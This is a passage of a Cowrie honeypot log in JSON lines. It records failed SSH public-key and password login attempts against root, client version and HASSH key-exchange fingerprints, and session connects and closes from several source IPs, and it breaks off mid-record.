{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:32:0f:e2:9c:94:a2:48:74:77:a9:5e:04:21:64:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB9z5Qz1bK/a3zqICk06zfM/NoZ/X4HnnZqWlMtihwrImF3O8zresyRHejrLCFyAtL+uX3U7OLREFN/kX/GhN2BlI5IxLB+3aBFnHileyyiqAhNWheOI0ZJFy/O3a9bVG09WVE3qWAOKh2FMI6Bx9FX6/hx5TL9ULu0zWYU3qYO+mNC3z8auF+YQu7JPd8aopuBctm0M1KWC63n4RC7upagp5Rc6VeoNPCxIHI8NkIAX/JsWjXn2TIYlqug1O+Kt1AjRH/Whq08IQnFmRk19MGucSB+UeLFPuonXrkayHG891qrSrKXDKK00vuwG6EReeCuxezm3/UvM72AVJjGk5e08S0FCeGLJfIw39+a5paxfI7fVepnPvut2iytZ6s+CCTHZGiB2AiYs3J3p4Qd8p6K+kuhIhbirqcOvSPUwyDjVBX98pcOL+Eri0nUubIdvY5a8D1eLSfzn4cc/0/WIznONlnaOaW8dHv0dKyNIxlb/9Cl6WTjVbYeVU7SglF6Kk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.695345Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:e8:04:88:1f:5e:9c:a0:2f:c0:35:6c:ea:cf:23:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYfqcLBiGrBMfhliPKf21OmGzMAlFKTKqD0GAKjPjTqa5AyxZkutj3TpUKYwDlqFGMYXJq8lVndYo3g3D8wFGDo9M88BcRkAqLEMCwMYqou68iOHWymE6wsQdA+3mNbGFJRd5PNPm+zQobLI4hY1o9CGfPnPhu39lUVwa2qdVOd3rks7DlcFNQiytNb0kNzvNRd6Hq0Ew1dsLdJsdwzZjfEhSc/NVyICPJL4u6AE8CZBLUSYoQlxRA2C0Apoi5jBPnIb8luDxDhJiBwE/bZM0CDfsvXi0fAcmrPkGOFFeN4WmQYGLvrTCHc3+ZCN2DVhCaU0KNAK+7ha+JSwoWsvCf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:e8:04:88:1f:5e:9c:a0:2f:c0:35:6c:ea:cf:23:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.727288Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:e8:04:88:1f:5e:9c:a0:2f:c0:35:6c:ea:cf:23:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYfqcLBiGrBMfhliPKf21OmGzMAlFKTKqD0GAKjPjTqa5AyxZkutj3TpUKYwDlqFGMYXJq8lVndYo3g3D8wFGDo9M88BcRkAqLEMCwMYqou68iOHWymE6wsQdA+3mNbGFJRd5PNPm+zQobLI4hY1o9CGfPnPhu39lUVwa2qdVOd3rks7DlcFNQiytNb0kNzvNRd6Hq0Ew1dsLdJsdwzZjfEhSc/NVyICPJL4u6AE8CZBLUSYoQlxRA2C0Apoi5jBPnIb8luDxDhJiBwE/bZM0CDfsvXi0fAcmrPkGOFFeN4WmQYGLvrTCHc3+ZCN2DVhCaU0KNAK+7ha+JSwoWsvCf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.731631Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:e2:bd:2f:fb:15:11:72:09:af:b3:20:71:5f:86:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDftZkBZp7zZdnUnYX7TefWDGyy1TNRSYIHZzKd7mpJsJz9mQK3PmepXWHJQl+iUs5DzvwqTZaDG9B0xmdDSrOollm6adIPMXu+OQPNDzvNmYfyZ7jeC/oo1dk8z7i4LShNHtbEdd9cbyDWv01r1HEgPOYVq0jg+VBlX4rzPeNdLgj6UjV/nwzb8LxZ6U4YvM76Os4IbpZBZCgQ3dJRdZ1mE9MIq45ubhiDxGMuyCu5hJ9PTwsiFoz0Jdw2JpWmGT3WHoNuNh+KYH5rTSPuQ44kz3eFKfFc+LCvwbsxF4i9EFnL+2t22dTifWQYM9dzDbhg8x6xF9DnNr/IjZ6F7fnb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:e2:bd:2f:fb:15:11:72:09:af:b3:20:71:5f:86:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.770047Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:e2:bd:2f:fb:15:11:72:09:af:b3:20:71:5f:86:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDftZkBZp7zZdnUnYX7TefWDGyy1TNRSYIHZzKd7mpJsJz9mQK3PmepXWHJQl+iUs5DzvwqTZaDG9B0xmdDSrOollm6adIPMXu+OQPNDzvNmYfyZ7jeC/oo1dk8z7i4LShNHtbEdd9cbyDWv01r1HEgPOYVq0jg+VBlX4rzPeNdLgj6UjV/nwzb8LxZ6U4YvM76Os4IbpZBZCgQ3dJRdZ1mE9MIq45ubhiDxGMuyCu5hJ9PTwsiFoz0Jdw2JpWmGT3WHoNuNh+KYH5rTSPuQ44kz3eFKfFc+LCvwbsxF4i9EFnL+2t22dTifWQYM9dzDbhg8x6xF9DnNr/IjZ6F7fnb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.775786Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:68:fc:36:d4:b0:1b:c3:79:61:ba:c9:69:9f:2f:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwf61ALZCOHtApThQnRAwBv1lizDpDheV+oI1LJBft10X/T/YJWdtp7uGoJL60/GwkWAJ99UzEMrVVdVB7g+HCAxitpADTB8fL+fsrsKiM0iFbZGmRcadkrCu4SQltrYbbEwLBE+1DcFWGRI6Po2RsbS4NxxrxQGAhWEFZ29Ma4b+EiiC2SjTXbvqHlGwdBS76pvKjiMdxw2wnGP6vqb6EaLsqOxiNGSXIMMes2iPaRrieZab2Wji5TQvdSZnWDo7JOvVdBVsv1wkyWUepUwk7snQKJF37Amf3FqmY2L2BkCJs2v0ncAEocOSraAnEv3XIobabUd/PIum+NTj/y44Yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:68:fc:36:d4:b0:1b:c3:79:61:ba:c9:69:9f:2f:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.836779Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:68:fc:36:d4:b0:1b:c3:79:61:ba:c9:69:9f:2f:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwf61ALZCOHtApThQnRAwBv1lizDpDheV+oI1LJBft10X/T/YJWdtp7uGoJL60/GwkWAJ99UzEMrVVdVB7g+HCAxitpADTB8fL+fsrsKiM0iFbZGmRcadkrCu4SQltrYbbEwLBE+1DcFWGRI6Po2RsbS4NxxrxQGAhWEFZ29Ma4b+EiiC2SjTXbvqHlGwdBS76pvKjiMdxw2wnGP6vqb6EaLsqOxiNGSXIMMes2iPaRrieZab2Wji5TQvdSZnWDo7JOvVdBVsv1wkyWUepUwk7snQKJF37Amf3FqmY2L2BkCJs2v0ncAEocOSraAnEv3XIobabUd/PIum+NTj/y44Yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.844523Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:3f:02:f0:88:d7:33:0d:e8:7b:38:a8:a7:a9:d5:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv7OA1gGkWHZ0s6amDT2Ei3Cv53Jtx4/88m8ELPUoUfQiapmgec8UrTGOMEimIAvnRJV4kmfeYNQ0s6DsAzcKcIFPfuZEAHl8aJ+G2rnnOcWgRt8RvRdfuHbeokEFxCnLCoiVuX/tY3+/EKJtvt91A33+WsHbyqFServ4vLp5CEbaP8ZeGO19l8elQ5kxS8/gruOXE927E+Y6Kvq9XcCUGlNRK51ACd5+Ya+Tym3noHKPumUl/rKMNqzg9pjOsv/4EuK3mgTZ6pOTapG+RYnC5zyi7ZM4Tu1J6+Dd3H3PPi8qm8UCCR6FGRYqhdfUjOUikUJ/h83ehBRhl/LJTwj11w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:3f:02:f0:88:d7:33:0d:e8:7b:38:a8:a7:a9:d5:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.858893Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:3f:02:f0:88:d7:33:0d:e8:7b:38:a8:a7:a9:d5:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv7OA1gGkWHZ0s6amDT2Ei3Cv53Jtx4/88m8ELPUoUfQiapmgec8UrTGOMEimIAvnRJV4kmfeYNQ0s6DsAzcKcIFPfuZEAHl8aJ+G2rnnOcWgRt8RvRdfuHbeokEFxCnLCoiVuX/tY3+/EKJtvt91A33+WsHbyqFServ4vLp5CEbaP8ZeGO19l8elQ5kxS8/gruOXE927E+Y6Kvq9XcCUGlNRK51ACd5+Ya+Tym3noHKPumUl/rKMNqzg9pjOsv/4EuK3mgTZ6pOTapG+RYnC5zyi7ZM4Tu1J6+Dd3H3PPi8qm8UCCR6FGRYqhdfUjOUikUJ/h83ehBRhl/LJTwj11w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.863913Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FCC1MNp2G7hJ7r659yehlNP7Fgf1RQwDn2c61MdnDGmOAUwhrnrgn5gV7zROxemOX4wUdzCFRKUPD3d/q/u7UpXL5SAnoJAcsEzIFJ9+zvnn1O57O6vH+B5QGzP8gAIk2FbdOu2xN3nDSAqvKJbhFntBNmxpotbvQQJWVphVHvmLfnsgwOpLqGH4R80ssJjzVGj00DFYpxpZlP0mLE8pIT2Pjo8mFqT20DmHlswf1rYGcD6j4ZNhRuR9jL7PO7pinf2d6Xvbi6O2ra6qbzWg64PsSa73AEbzverw3T2iHZg/g/8Td9K1gnZDOgdBVirQtDJOLj79T90anoQOJ70d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.948186Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:c8:d5:86:7e:a0:94:65:e8:da:f4:17:15:2d:34:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FCC1MNp2G7hJ7r659yehlNP7Fgf1RQwDn2c61MdnDGmOAUwhrnrgn5gV7zROxemOX4wUdzCFRKUPD3d/q/u7UpXL5SAnoJAcsEzIFJ9+zvnn1O57O6vH+B5QGzP8gAIk2FbdOu2xN3nDSAqvKJbhFntBNmxpotbvQQJWVphVHvmLfnsgwOpLqGH4R80ssJjzVGj00DFYpxpZlP0mLE8pIT2Pjo8mFqT20DmHlswf1rYGcD6j4ZNhRuR9jL7PO7pinf2d6Xvbi6O2ra6qbzWg64PsSa73AEbzverw3T2iHZg/g/8Td9K1gnZDOgdBVirQtDJOLj79T90anoQOJ70d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.952846Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:93:bb:0e:5e:62:dd:6b:f2:be:7c:b3:52:21:cb:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3fW6zHhhZr2YvX2wBktsQHwE606Z9mSla3zSJnXsF2U1osoc2tK6CizRYM77z+1YvMEYGsPoDarAHIU2JteuWkGxDbH8/FXWgeebelcHDnqlS5SJjbytoYgZBO2yKf8KnDLz+gN1Zk0KFN4NtYwiANExfW5niBgJDLZ0GCG2k8Oq6KtYjNjX8FU9eJTKUDZvH3j7HjaGh3Waf/jGlcSNvM9KlySPwgIz1+DFkoXhoPWt9XHNlzcXhqzvoMerc5aZpdKYOY8h225Co+X9jVaM/QUVdU67wHbVP3MZ02eS7LNk3LMipWg/maZ7Kx3wBXrLH/guBdsT4yTQngs2OQ72J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:93:bb:0e:5e:62:dd:6b:f2:be:7c:b3:52:21:cb:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.959996Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:93:bb:0e:5e:62:dd:6b:f2:be:7c:b3:52:21:cb:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3fW6zHhhZr2YvX2wBktsQHwE606Z9mSla3zSJnXsF2U1osoc2tK6CizRYM77z+1YvMEYGsPoDarAHIU2JteuWkGxDbH8/FXWgeebelcHDnqlS5SJjbytoYgZBO2yKf8KnDLz+gN1Zk0KFN4NtYwiANExfW5niBgJDLZ0GCG2k8Oq6KtYjNjX8FU9eJTKUDZvH3j7HjaGh3Waf/jGlcSNvM9KlySPwgIz1+DFkoXhoPWt9XHNlzcXhqzvoMerc5aZpdKYOY8h225Co+X9jVaM/QUVdU67wHbVP3MZ02eS7LNk3LMipWg/maZ7Kx3wBXrLH/guBdsT4yTQngs2OQ72J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.964348Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.028643Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:14:9a:58:33:ab:de:94:a6:fd:bd:5b:d7:8f:6f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx1Rr67KEkeIPyAwtx9Ua9rxbMpFmHZGuhy6B5edxCs+Sz9P+ybNlS6NlxAy3heZ45acB9Smqx9wfWpj2vHwHRWJa0/bkInw4mTsK/RLFA3xOhJaLO/4MypTX3oYFuy5DAC7e6FL+OEsW5YOvX8fJ4gS2+WWUEj21fas3k1rwzWRjXU/E1mh2Js8oNjIfuE9buT8rVK564R9uBrK5Jjfk3cTK2mcQ2GB14/9ofSfc93s0yax/uLKZdLjjo5f2vNxghSjQ85m5LGHqzLJOs6TLj9/MjjNDuTKFkC3WsZQfGhSZctxW/epbI7RKg69hBnpT/5AapHGJENoavIo6ajm6R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:14:9a:58:33:ab:de:94:a6:fd:bd:5b:d7:8f:6f:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.071383Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:14:9a:58:33:ab:de:94:a6:fd:bd:5b:d7:8f:6f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx1Rr67KEkeIPyAwtx9Ua9rxbMpFmHZGuhy6B5edxCs+Sz9P+ybNlS6NlxAy3heZ45acB9Smqx9wfWpj2vHwHRWJa0/bkInw4mTsK/RLFA3xOhJaLO/4MypTX3oYFuy5DAC7e6FL+OEsW5YOvX8fJ4gS2+WWUEj21fas3k1rwzWRjXU/E1mh2Js8oNjIfuE9buT8rVK564R9uBrK5Jjfk3cTK2mcQ2GB14/9ofSfc93s0yax/uLKZdLjjo5f2vNxghSjQ85m5LGHqzLJOs6TLj9/MjjNDuTKFkC3WsZQfGhSZctxW/epbI7RKg69hBnpT/5AapHGJENoavIo6ajm6R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.076354Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:15:a3:2a:c1:98:3f:a1:72:7d:01:19:f8:28:b5:6e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO9f89SPZbqgbTkFbU7jMBwZfIhtGk7jcRKr5eJfOoxQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9a:15:a3:2a:c1:98:3f:a1:72:7d:01:19:f8:28:b5:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.187604Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:15:a3:2a:c1:98:3f:a1:72:7d:01:19:f8:28:b5:6e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO9f89SPZbqgbTkFbU7jMBwZfIhtGk7jcRKr5eJfOoxQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.192879Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:35.298114Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.02013397216797,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:41.346404Z","src_ip":"79.139.59.21","session":"92974baa8ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47992,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aac2bf8697a","protocol":"ssh","message":"New connection: 194.59.206.2:47992 (10.17.0.5:22) [session: 3aac2bf8697a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:13:26.824014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:13:26.829529Z","src_ip":"194.59.206.2","session":"3aac2bf8697a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:13:26.920005Z","src_ip":"194.59.206.2","session":"3aac2bf8697a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:13:27.016785Z","src_ip":"194.59.206.2","session":"3aac2bf8697a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48082,"dst_ip":"159.203.135.109","dst_port":22,"session":"96267c7fbe44","protocol":"ssh","message":"New connection: 37.233.85.71:48082 (159.203.135.109:22) [session: 96267c7fbe44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:14:11.362526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:14:11.367489Z","src_ip":"37.233.85.71","session":"96267c7fbe44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:14:11.467580Z","src_ip":"37.233.85.71","session":"96267c7fbe44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ceckbrcerfkbxyjcnm2","message":"login attempt [root/ceckbrcerfkbxyjcnm2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:14:11.767476Z","src_ip":"37.233.85.71","session":"96267c7fbe44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:14:12.870497Z","src_ip":"37.233.85.71","session":"96267c7fbe44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50826,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b54cf03d20","protocol":"ssh","message":"New connection: 87.251.79.125:50826 (159.203.135.109:22) [session: 38b54cf03d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:15:36.749401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:15:36.754923Z","src_ip":"87.251.79.125","session":"38b54cf03d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha